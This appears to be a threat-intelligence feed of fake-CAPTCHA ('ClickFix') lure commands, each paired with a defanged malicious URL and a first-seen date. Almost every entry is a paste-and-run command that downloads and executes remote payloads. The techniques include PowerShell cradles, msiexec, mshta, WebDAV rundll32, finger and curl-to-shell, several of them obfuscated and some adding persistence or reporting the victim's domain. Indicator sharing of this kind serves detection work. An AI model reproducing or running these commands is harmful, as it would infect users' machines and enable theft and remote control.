URL hxxps://love[.]district7pho[.]com/pidor.ps1

First seen 18 October 2026, 1 URL on this host.

msiexec /i "hxxps://natural-health-news[.]com/Verify.msi?I am not a robot — reCAPTCHA Verification ID: 1393

URL hxxps://natural-health-news[.]com/Verify.msi?I

First seen 6 September 2026, 1 URL on this host.

powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://ndigitals[.]in/vcapcha.ps1'))"

URL hxxps://ndigitals[.]in/vcapcha.ps1

First seen 14 September 2026, 1 URL on this host.

msiexec /i hxxps://shipmint[.]io/verify

URL hxxps://shipmint[.]io/verify

First seen 7 September 2026, 1 URL on this host.

iwr -Uri ('hxxps://simplecheck[.]online/get_verify?i=12963&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)32[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)32[.]zip','$($pwd)32'); attrib +h +s '$($pwd)32'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'seahorse_flow_calmness' -val '$($pwd)32bin.exe'; saps -F '$($pwd)32bin.exe' -Wo '$($pwd)32'; sleep 60; iwr -Uri ('hxxps://simplecheck[.]online/debug_info?i=12963&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&runned='+([bool](tasklist|findstr changepk))+'&dir='+([Uri]::EscapeDataString(((Get-ChildItem -EA 0 '$($pwd)32'|ForEach-Object {

URL hxxps://simplecheck[.]online/get_verify?i=12963&a=

First seen 29 September 2026, 6 URLs on this host.

powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://simpludelicios[.]md/vcapcha.ps1'))"

URL hxxps://simpludelicios[.]md/vcapcha.ps1

First seen 19 September 2026, 1 URL on this host.

$t=$env:APPDATA+[char]92+"l";$z=$t+[char]92+"l[.]zip";New-Item -Path $t -ItemType Directory -Force|Out-Null;curl.exe -sL -o $z "hxxps://swingerwives[.]com";tar.exe -xf $z -C $t;Remove-Item $z;$e=Get-ChildItem $t -Recurse -Filter "Gratefull.exe"|Select-Object -First 1;if($e){$w=[wmiclass]"Win32_Process";$w.Create($e.FullName)|Out-Null};exit

URL hxxps://swingerwives[.]com

First seen 18 October 2026, 1 URL on this host.

msiexEc /PᵃᶜkAge "hxxp://synchronic-codes[.]lat/verifecation/nobots?key=a7f3c9e2b8" -Q

URL hxxp://synchronic-codes[.]lat/verifecation/nobots?key=a7f3c9e2b8

First seen 28 October 2026, 1 URL on this host.

iwr update[.]coinmarketsap[.]com | iex

URL hxxp://update[.]coinmarketsap[.]com

First seen 11 October 2026, 1 URL on this host.

msiexec /i hxxps://visualytes[.]crm360degree[.]com/challenge /qn

URL hxxps://visualytes[.]crm360degree[.]com/challenge

First seen 7 September 2026, 1 URL on this host.

rundll32.exe \\web-captcha[.]cc\verification[.]google,#1

URL webdav://web-captcha[.]cc/verification[.]google

First seen 1 September 2026, 1 URL on this host.

iwr -Uri ('hxxps://webpagehelp[.]online/get_verify?i=12952&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)512[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)512[.]zip','$($pwd)512'); attrib +h +s '$($pwd)512'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'gazebo' -val '$($pwd)512bin.exe'; saps -F '$($pwd)512bin.exe' -Wo '$($pwd)512'; sleep 60; iwr -Uri ('hxxps://webpagehelp[.]online/debug_info?i=12952&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&runned='+([bool](tasklist|findstr changepk))+'&dir='+([Uri]::EscapeDataString(((Get-ChildItem -EA 0 '$($pwd)512'|ForEach-Object {

URL hxxps://webpagehelp[.]online/get_verify?i=12952&a=

First seen 29 September 2026, 6 URLs on this host.

conhost.exe --headless cm""d /V:on /c "set t=u&set pu=x&set Q=g&set h=o&set D=\&c!t!rl 144[.]124[.]236[.]191/test.t!pu!t -!h! c:!D!!D!!t!sers!D!!D!p!t!blic!D!!D!ay!pu!ykk.tmp&&p!h!wershell ie!pu!(!Q!c c:!D!!D!!t!sers!D!!D!p!t!blic!D!!D!ay!pu!ykk.tmp -raw)"

URL hxxp://144[.]124[.]236[.]191/test.txt

First seen 29 September 2026, 1 URL on this host.

$(curl -fsSL hxxp://146[.]103[.]101[.]229/Lurowuf)

URL hxxp://146[.]103[.]101[.]229/Lurowuf

First seen 26 September 2026, 1 URL on this host.

powershell -ExecutionPolicy Bypass "irm 149[.]33[.]6[.]192/4406 -OutFile $env:temp\4406.ps1;& $env:temp\4406.ps1"

URL hxxp://149[.]33[.]6[.]192/4406

First seen 15 October 2026, 1 URL on this host.

URL hxxp://172[.]94[.]9[.]44/2.txt

First seen 11 October 2026, 1 URL on this host.

powershell -c "iex(irm '193[.]148[.]56[.]98/RybeSrULK2BqHx1xkk' -UseBasicParsing)" # VERFICATlON ID 838936586937562TE568374462074

URL hxxp://193[.]148[.]56[.]98/RybeSrULK2BqHx1xkk

First seen 7 September 2026, 1 URL on this host.

$(curl -fsSL hxxp://31[.]77[.]228[.]199/Cugocawo)

URL hxxp://31[.]77[.]228[.]199/Cugocawo

First seen 23 September 2026, 1 URL on this host.

conhost --headless cmd /c "for /l %i in (1,1,25)do @pushd \\51-68-21-135[.]nip[.]io@SSL\DavWWWRoot 2>nul&&(call Launcher.cmd&popd&exit)||ping -n 4 127.0.0.1>nul" & echo                                                                              CloudVerified

URL webdav://51-68-21-135[.]nip[.]io/DavWWWRoot

First seen 11 October 2026, 1 URL on this host.

powershell -c "iex(irm '85[.]239[.]149[.]40?CloudFlare_Captcha_ID_7716254T1' -UseBasicParsing)" # CloudFlare Captcha Verification ID T17483JDH21

URL hxxp://85[.]239[.]149[.]40?CloudFlare_Captcha_ID_7716254T1

First seen 19 September 2026, 1 URL on this host.

powershell -c "iex(irm '93[.]152[.]224[.]29/IpS9GN16MBsmhWBe' -UseBasicParsing)"# CloudFlare Captcha Verification ID#517920G5752y45

URL hxxp://93[.]152[.]224[.]29/IpS9GN16MBsmhWBe

First seen 19 September 2026, 1 URL on this host.

powershell -ep bypass -c "IWR hxxp://93[.]183[.]93[.]9/ck/y.ps1 -OutFile $env:TEMP\x.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\x.ps1" '                                                                  PRESS OK TO CONTINUE'

URL hxxp://93[.]183[.]93[.]9/ck/y.ps1

First seen 7 September 2026, 1 URL on this host.

URL hxxp://94[.]154[.]35[.]116

First seen 6 September 2026, 1 URL on this host.

URL hxxp://94[.]74[.]164[.]136/fifx.odd

First seen 11 October 2026, 1 URL on this host.

powershell -ExecutionPolicy Bypass "$p=$env:TEMP+'\11.ps1';(New-Object Net.WebClient).DownloadFile('hxxp://96[.]62[.]224[.]81/75',$p);& $p"

URL hxxp://96[.]62[.]224[.]81/75

First seen 29 September 2026, 1 URL on this host.

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('[base64 of: iex (iwr 'hxxps://amazon-ny-gifts[.]com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content]')) | iex"

URL hxxps://amazon-ny-gifts[.]com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt

First seen 13 October 2026, 1 URL on this host.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]arroystone[.]com/v1& start "" "%y")"

URL hxxp://api[.]arroystone[.]com/v1

First seen 9 October 2026, 1 URL on this host.

$t=$env:APPDATA+[char]92+"g";$z=$t+[char]92+"g[.]zip";New-Item -Path $t -ItemType Directory -Force|Out-Null;curl.exe -sL -o $z "hxxps://atm[.]kjhg[.]shop/seo/inst.php";tar.exe -xf $z -C $t;Remove-Item $z;$e=Get-ChildItem $t -Recurse -Filter "Snginstar1.exe"|Select-Object -First 1;if($e){$w=[wmiclass]"Win32_Process";$w.Create($e.FullName)|Out-Null};exit

URL hxxps://atm[.]kjhg[.]shop/seo/inst.php

First seen 11 October 2026, 1 URL on this host.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" bogandserpentine[.]com/roq& start "" "%y")"

URL hxxp://bogandserpentine[.]com/roq

First seen 19 October 2026, 1 URL on this host.

IEX(irm 'brmconfig[.]com')

URL hxxp://brmconfig[.]com

First seen 10 September 2026, 1 URL on this host.

URL hxxps://buh[.]reallstbank[.]ru/payload/run.ps1

First seen 2 October 2026, 1 URL on this host.

URL hxxps://build[.]polysupport[.]team/otadm/build[.]zip

First seen 28 September 2026, 1 URL on this host.

rundll32.exe \\captcha-web[.]cc\verification[.]google,#1

URL webdav://captcha-web[.]cc/verification[.]google

First seen 1 September 2026, 1 URL on this host.

cmd /c "(echo cd /d %~dp0&echo copy /b /y %windir%\system32\c?rl.exe x1.exe&echo .\x1.exe -sLoa.cmd hxxps://ciganshina[.]org/h/c/d2f492d65a617e96&echo .\a.cmd&echo del a.cmd x1.exe)>%PUBLIC%\t.cmd& pcalua -a %PUBLIC%\t.cmd&rem reCaptcha ID: 216690"

URL hxxps://ciganshina[.]org/h/c/d2f492d65a617e96&echo

First seen 29 October 2026, 1 URL on this host.

cmd /c curl.exe -fsL --ssl-no-revoke --retry 8 --retry-connrefused --retry-delay 1 --connect-timeout 20 -o "%TEMP%\S923.msi" hxxps://cloubflare[.]net/3025 && msiexec /i "%TEMP%\S923.msi" /qn /norestart

URL hxxps://cloubflare[.]net/3025

First seen 18 October 2026, 1 URL on this host.

IEX (New-Object Net.WebClient).DownloadString('hxxps://cloud-verificate[.]com/runner.ps1')

URL hxxps://cloud-verificate[.]com/runner.ps1

First seen 13 October 2026, 1 URL on this host.

iex(iwr hxxps://cloudeliveryenterprise[.]com//?sid=REPLACE_ID -UseBasicParsing)

URL hxxps://cloudeliveryenterprise[.]com//?sid=REPLACE_ID

First seen 7 September 2026, 1 URL on this host.

%COMSPEC% /c s^t^a^r^t "" /min for /f "skip=13 delims=" %d in ('f^^i^^n^^g^^e^^r bxEsPFeURS@cozylivingspacee[.]com') do %d & echo '               ---Verify ---------------press ENTER---              '

URL finger://cozylivingspacee[.]com/bxEsPFeURS

First seen 11 October 2026, 1 URL on this host.

powershell -ep bypass -w h -c "iwr 'hxxps://degpoints[.]com/setup/49fnea/Client_f5cb30.exe' -OutFile $env:TEMP\a.exe;Unblock-File $env:TEMP\a.exe -EA 0;start $env:TEMP\a.exe"

URL hxxps://degpoints[.]com/setup/49fnea/Client_f5cb30.exe

First seen 10 October 2026, 1 URL on this host.

powershell -w h -c "$u='hxxps://dietjalgaon[.]ac[.]in/video/681676/12/spT.lim';$p="$env:USERPROFILEMusicd.ps1";(New-Object System.Net.WebClient).DownloadFile($u,$p);powershell -w h -ep bypass -f $p"

URL hxxps://dietjalgaon[.]ac[.]in/video/681676/12/spT.lim

First seen 11 October 2026, 1 URL on this host.

cmd /c curl -L -o %TEMP%/update.exe hxxps://dl1[.]claudflare-gateway[.]net/captchafix.exe & start %TEMP%/update.exe

URL hxxps://dl1[.]claudflare-gateway[.]net/captchafix.exe

First seen 4 September 2026, 1 URL on this host.

msiexec /i hxxps://dozco[.]com/public

URL hxxps://dozco[.]com/public

First seen 11 October 2026, 1 URL on this host.

iex(irm 'dutyfrees[.]digital/ZcZoPbqBWjbcUh6A4')

URL hxxp://dutyfrees[.]digital/ZcZoPbqBWjbcUh6A4

First seen 6 September 2026, 1 URL on this host.

irm 'hxxps://flamingo3dstudio[.]com/update.php?webhook={ray}' | iex

URL hxxps://flamingo3dstudio[.]com/update.php?webhook=

First seen 19 October 2026, 1 URL on this host.

powershell -w h -Command "$s=irm 'hxxps://flexsportpools[.]com/wp-admin/admin-ajax.php?action=splash_dl' -UseBasicParsing; $p=[System.IO.Path]::Combine($env:TEMP, 't.ps1'); [System.IO.File]::WriteAllText($p, $s); Invoke-Expression $p"

URL hxxps://flexsportpools[.]com/wp-admin/admin-ajax.php?action=splash_dl

First seen 13 October 2026, 1 URL on this host.

msiexec /i hxxps://funducci[.]org/challenge /qn

URL hxxps://funducci[.]org/challenge

First seen 7 September 2026, 1 URL on this host.

curl -kfsSL $(echo '[base64 of: hxxp://geniecomputex[.]com/curl/001e07c934e19b9d10f621c6b7546b43b2fb1c7b8fce2625fc7b767dfb626336]'|base64 -D)|zsh

URL hxxp://geniecomputex[.]com/curl/001e07c934e19b9d10f621c6b7546b43b2fb1c7b8fce2625fc7b767dfb626336

First seen 16 October 2026, 1 URL on this host.

URL hxxps://gerenland[.]click/flask/whales.msi

First seen 2 November 2026, 1 URL on this host.

powershell.exe -windO mIniMIz $OSmOMR='Name';$lAL=59;$dKYA = Get-Command -m 'M*.*er*.*t*y' -C 'Cm';$dKYA=$dKYA.$OSmOMR;$nYzc=.$dKYA[60] getstampi[.]com;.$dKYA[$lAL]($nYzc);$TuPLaqCdOWVgfKuVUKmNffaEydiWDpxvsyXmvafWLCuzqTrLcrFrgSWskPpzkgmuOGPnKrUiXrfZtoLoxxRjncyjCENBOLstlgjyXgARYHTMkLCANZlhQUlmyiKiqGmYQtQubZhcTiTYMbAxeDVzwntThXLBmSoawJolBWekUXwDIGCpvnPWJmBUOnKwNeSNeTiybXhFEXOBwtnukkaYhiOZvRrBjNLRJYjJoJmbAzEUtvUnjtIjOZiXvObrlymetTVKVXIUEkicIQIMsnyIcFMOjvOwKMdiYpmogjuxjzFYJlgDBJxAjvSVQcPhkKzjhsfuvFghAqasXIhomfKhcmhullIxcXxouqESSHTSOCCUZhRfGCEbiOthqfYnTTmBfXXBfvh

URL hxxp://getstampi[.]com

First seen 8 October 2026, 1 URL on this host.

powershell -NoProfile -c "&((Get-Command|?{$_.Name -match ('vok.'+'*Re'+'st')})[0].Name)('goocloudcapf[.]com')|&  ((Get-Command|?{$PSItem[.]Name -match 'vok.*Ex'})[0].Name)"

URL hxxp://goocloudcapf[.]com

First seen 7 October 2026, 1 URL on this host.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\PROSSS.hta) do !x!!c! -skLo "%y" gorgeandcarnelian[.]com/mnm& start "" "%y")"

URL hxxp://gorgeandcarnelian[.]com/mnm

First seen 5 October 2026, 1 URL on this host.

irm hxxps://govrobczxc[.]cc/cdn/sync/traffic?r=290b|iex

URL hxxps://govrobczxc[.]cc/cdn/sync/traffic?r=290b

First seen 4 November 2026, 1 URL on this host.

URL hxxps://grvt[.]lat/auth?xc=3262759

First seen 9 September 2026, 1 URL on this host.

iex(iwr 'hxxp://hashe[.]net/506c08290fae0a98' -UseBasicParsing)

URL hxxp://hashe[.]net/506c08290fae0a98

First seen 1 November 2026, 1 URL on this host.

conhost.exe --headless --inheritcursor --width 80 --height 30 -- cmd /v:on /c "set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x hcwjcope[.]poundbahis[.]com@SSL@443f679d78-ec48-498c-89f3-d5b024edd1a3 & !c!!d! goog.ct,#1"

URL webdav://hcwjcope[.]poundbahis[.]com:443/

First seen 22 September 2026, 1 URL on this host.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\HUREAG.hta) do !x!!c! -skLo "%y" hollowand[.]com/ii& start "" "%y")"

URL hxxp://hollowand[.]com/ii

First seen 8 October 2026, 1 URL on this host.

msiexec /i hxxps://i-like-ele-phants-verification[.]live/iamchallenge/verification/UserID7383526

URL hxxps://i-like-ele-phants-verification[.]live/iamchallenge/verification/UserID7383526

First seen 6 September 2026, 1 URL on this host.

irm hxxps://imersion4cf[.]site/ps/traffic?r=eedc|iex

URL hxxps://imersion4cf[.]site/ps/traffic?r=eedc

First seen 26 September 2026, 1 URL on this host.

-w hidden -c "Start-Process powershell -ArgumentList '-w hidden -c iwr hxxps://irp[.]cdn-website[.]com/45d8c6e0/files/uploaded/32.ps1 | iex' -WindowStyle Hidden"

URL hxxps://irp[.]cdn-website[.]com/45d8c6e0/files/uploaded/32.ps1

First seen 6 September 2026, 1 URL on this host.

curl -s $(echo "[base64 of: hxxps://journeylake11[.]com/curl/n3oph8sij/6s813socl50o3sp7x8y20rzo.txt]" | openssl base64 -d -A) | zsh

URL hxxps://journeylake11[.]com/curl/n3oph8sij/6s813socl50o3sp7x8y20rzo.txt

First seen 21 September 2026, 1 URL on this host.

curl -s $(echo "[base64 of: hxxps://journeyslate6[.]com/curl/6nt3gce8vu4t/3gpojjerown8iwl1j2.json]" | openssl base64 -d -A) | zsh

URL hxxps://journeyslate6[.]com/curl/6nt3gce8vu4t/3gpojjerown8iwl1j2.json

First seen 22 September 2026, 1 URL on this host.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" kyleandshale[.]com/faq& start "" "%y")" & rem              ---------- Human verification: press Enter to continue

URL hxxp://kyleandshale[.]com/faq

First seen 27 October 2026, 1 URL on this host.

mshta hxxps://last-version[.]install-2026[.]com/app

URL hxxps://last-version[.]install-2026[.]com/app

First seen 18 October 2026, 1 URL on this host.

%COMSPEC% /c "%COMSPEC% /c start "" /min for /f "delims=@" %u in" (',f^^i^^n^^g^^e^^r df^g^w^e^r^tva^ds^^23@leftsideegpeakk[.]com') do %u &

URL finger://leftsideegpeakk[.]com/dfgwertvads23

First seen 26 September 2026, 1 URL on this host.

$a=(iwr 'lewdstories[.]com/XzJollS178532bE7' -UseBasicParsing).Content;$b=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($a));powershell -w hidden -ec $b

URL hxxp://lewdstories[.]com/XzJollS178532bE7

First seen 12 September 2026, 1 URL on this host.

curl -s $(echo "[base64 of: hxxps://linen10[.]com/curl/9aep946cs/qtnnzugfs6o7d8lkg7t.json]" | openssl base64 -d -A) | zsh

URL hxxps://linen10[.]com/curl/9aep946cs/qtnnzugfs6o7d8lkg7t.json

First seen 29 September 2026, 1 URL on this host.

iex (iwr "hxxps://lucky[.]gives/s/_AmNPRXR7XsKu6AgMRnToP8RKZE.ps1" -UseBasicParsing)

URL hxxps://lucky[.]gives/s/_AmNPRXR7XsKu6AgMRnToP8RKZE.ps1

First seen 8 October 2026, 2 URLs on this host.

mshta hxxp://matrixhub[.]site/check.hta

URL hxxp://matrixhub[.]site/check.hta

First seen 7 September 2026, 1 URL on this host.

powershell -NoP -Exec Bypass -C "try{iwr 'hxxps://mefiji[.]com/rep1.php' -Method Post -Body @{status='Done';completed='true';ts=(Get-Date -Format 'yyyy-MM-dd HH:mm:ss');domain='{compressedDomain}'} -UseB -TimeoutSec 5 |Out-Null}catch{}; exit"

URL hxxps://mefiji[.]com/rep1.php

First seen 6 September 2026, 1 URL on this host.

msiexec /i hxxps://mhw[.]codes/check

URL hxxps://mhw[.]codes/check

First seen 11 October 2026, 1 URL on this host.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" mireandsoapstone[.]com/wog& start "" "%y")"

URL hxxp://mireandsoapstone[.]com/wog

First seen 20 October 2026, 1 URL on this host.

(irm 'hxxps://mlroweb[.]com/dantestraff3/a39786634b980999' -UserAgent 'WUA/94a73ace71' -Headers @{'X-WUA'='94a73ace71'})|iex

URL hxxps://mlroweb[.]com/dantestraff3/a39786634b980999

First seen 6 October 2026, 1 URL on this host.

irm 'hxxps://monitoringsites[.]shop/5b0faa9e326274be' | iex

URL hxxps://monitoringsites[.]shop/5b0faa9e326274be

First seen 1 November 2026, 1 URL on this host.

URL hxxp://multisavcx[.]xyz/ncx

First seen 23 September 2026, 1 URL on this host.

powershell -WindowStyle Hidden -Command "$p=$env:TEMP+'\as.exe';iwr 'hxxps://new[.]mx-mmail[.]com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest' -OutFile $p -UseBasicParsing;if(Test-Path $p){Start-Process $p}"

URL hxxps://new[.]mx-mmail[.]com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest

First seen 23 September 2026, 1 URL on this host.

curl -s 'hxxps://oeilmc5[.]masterbet[.]pro//update[.]sh' | bash

URL hxxps://oeilmc5[.]masterbet[.]pro//update[.]sh

First seen 13 October 2026, 1 URL on this host.

iwr \'hxxps://panychurasc0[.]com/ORIGINAL/13.exe\' -OutFile $env:tmp\\ChromeSetup.exe;saps $env:tmp\\ChromeSetup.exe\

URL hxxps://panychurasc0[.]com/ORIGINAL/13.exe

First seen 6 September 2026, 1 URL on this host.

URL hxxp://peedprexz[.]xyz/hoz/

First seen 2 October 2026, 1 URL on this host.

cmd.exe /c powershell -w h -ep Bypass -nop -c "$h='b.ps1';$n=$env:USERPROFILE+'\\Downloads\\'+$h;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('hxxps://penguinpublishers[.]org/files/audio/', $n);& $n;Remove-Item $n -Force;"

URL hxxps://penguinpublishers[.]org/files/audio/

First seen 11 October 2026, 1 URL on this host.

URL hxxps://portal-idos[.]network/auth?xc=3488779

First seen 17 September 2026, 2 URLs on this host.

curl -s $(echo "[base64 of: hxxps://postaspen18[.]com/curl/403rtw0brf8/xcity3lv14lpb1qv.dat]" | openssl base64 -d -A) | zsh

URL hxxps://postaspen18[.]com/curl/403rtw0brf8/xcity3lv14lpb1qv.dat

First seen 18 September 2026, 1 URL on this host.

URL hxxps://pro-2734[.]avsecurity[.]workers[.]dev/gd?id=

First seen 26 September 2026, 1 URL on this host.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\HUREAG.hta) do !x!!c! -skLo "%y" ravineandturquoise[.]com/jqq& start "" "%y")"

URL hxxp://ravineandturquoise[.]com/jqq

First seen 6 October 2026, 1 URL on this host.

powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://richardkemick[.]com/vcapcha.ps1'))"

URL hxxps://richardkemick[.]com/vcapcha.ps1

First seen 19 September 2026, 1 URL on this host.

curl -s 'hxxps://s1w21[.]comen[.]store/update[.]sh' | bash

URL hxxps://s1w21[.]comen[.]store/update[.]sh

First seen 12 October 2026, 1 URL on this host.

powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://sarp08[.]no/vcapcha.ps1'))"

URL hxxps://sarp08[.]no/vcapcha.ps1

First seen 10 September 2026, 1 URL on this host.

URL hxxps://shadenetwork[.]live/auth?xc=3488781

First seen 13 September 2026, 2 URLs on this host.

(irm 'hxxps://shatamilo[.]com/WP/9e1d28f282c454ba' -Headers @{'X-WUA'='dd4cf327e7'} -TimeoutSec 45)|&('i'+'e'+'x')

URL hxxps://shatamilo[.]com/WP/9e1d28f282c454ba

First seen 4 November 2026, 1 URL on this host.

URL hxxps://sixpences[.]xyz/auth?xc=3224644

First seen 6 September 2026, 1 URL on this host.

cmd /c "(echo cd /d %~dp0&echo copy /b /y %windir%\system32\c?rl.exe x224.exe&echo .\x224.exe -k -sLo a224.exe hxxps://socialviewsec[.]lc/p?d=aa390893&echo start a224.exe&echo del x224.exe)>%TEMP%\s224.cmd& cmd /c %TEMP%\s224.cmd"

URL hxxps://socialviewsec[.]lc/p?d=aa390893&echo

First seen 2 November 2026, 1 URL on this host.

iwr 'hxxps://soundcloudapp[.]com/files/addon.exe' -o $env:tmp\gsxo.exe; & $env:tmp\gsxo.exe

URL hxxps://soundcloudapp[.]com/files/addon.exe

First seen 13 October 2026, 1 URL on this host.

powershell -w hidden -ep bypass -c "Start-Process powershell -WindowStyle Hidden -ArgumentList '-ep bypass -c iwr hxxps://stealer[.]cy/psc?uid=101^|iex'"

URL hxxps://stealer[.]cy/psc?uid=101^

First seen 11 October 2026, 2 URLs on this host.

URL hxxps://techforyou[.]icu/e2

First seen 28 September 2026, 1 URL on this host.

cmd /c curl -gkso %TEMP%\wud.msi hxxps://update[.]neewsoo[.]com/dl/kb1000013.msi && msiexec /i %TEMP%\wud.msi /qn

URL hxxps://update[.]neewsoo[.]com/dl/kb1000013.msi

First seen 3 November 2026, 1 URL on this host.

echo "Cloudflare verification" && curl -sf -H "App-Origin: hxxps://cloudflare[.]com/" $(echo "[base64 of: hxxps://updater[.]avngr[.]workers[.]dev/sync]" | base64 -d) | osascript -l JavaScript

URL hxxps://updater[.]avngr[.]workers[.]dev/sync

First seen 11 October 2026, 1 URL on this host.

irm 'hxxps://virazofurniture[.]in/update.php?webhook={ray}' | iex

URL hxxps://virazofurniture[.]in/update.php?webhook=

First seen 11 October 2026, 1 URL on this host.

%COMSPEC% /c start "" /m^i^n %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" voeandschist[.]com/ser& start "" "%y")" & rem              ---------- Human verification: press Enter to continue

URL hxxp://voeandschist[.]com/ser

First seen 28 October 2026, 1 URL on this host.

rundll32.exe \\web-captcha[.]co\verification[.]google,#1"

URL webdav://web-captcha[.]co/verification[.]google

First seen 15 September 2026, 1 URL on this host.

mshta hxxps://www[.]jsacces[.]online/verification.html # "Microsoft Windows: DNS service Reload and Restart UP"

URL hxxps://www[.]jsacces[.]online/verification.html

First seen 6 September 2026, 1 URL on this host.

powershell -c "$f=$env:TEMP+'\av.EXE';$d=(curl.exe -s -b ssjsok=1 hxxps://www[.]sendspace[.]com/file/oid51kfw|sls hxxps://fs\S*exe).Matches.Value;curl.exe -s -o $f $d;ii $f"

URL hxxps://www[.]sendspace[.]com/file/oid51kfw

First seen 15 October 2026, 1 URL on this host.

powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force; Invoke-WebRequest -Uri 'hxxps://www[.]yundatabox[.]com/KL.bat' -OutFile 'KL.bat'; Start-Process 'KL.bat'"

URL hxxps://www[.]yundatabox[.]com/KL.bat

First seen 2 October 2026, 1 URL on this host.

URL hxxp://xn--dexsceene-4fee[.]com

First seen 11 October 2026, 1 URL on this host.

-w hidden -c "iwr 'hxxps://yogasitesdev[.]wpengine[.]com/2/15.ps1' | iex"

URL hxxps://yogasitesdev[.]wpengine[.]com/2/15.ps1

First seen 7 September 2026, 1 URL on this host.

powershell -w h -Command "$s=irm 'hxxps://youcool[.]pl/wp-admin/admin-ajax.php?action=splash_dl' -UseBasicParsing; $p=[System.IO.Path]::Combine($env:TEMP, 't.ps1'); [System.IO.File]::WriteAllText($p, $s); Invoke-Expression $p"

URL hxxps://youcool[.]pl/wp-admin/admin-ajax.php?action=splash_dl

First seen 6 September 2026, 1 URL on this host.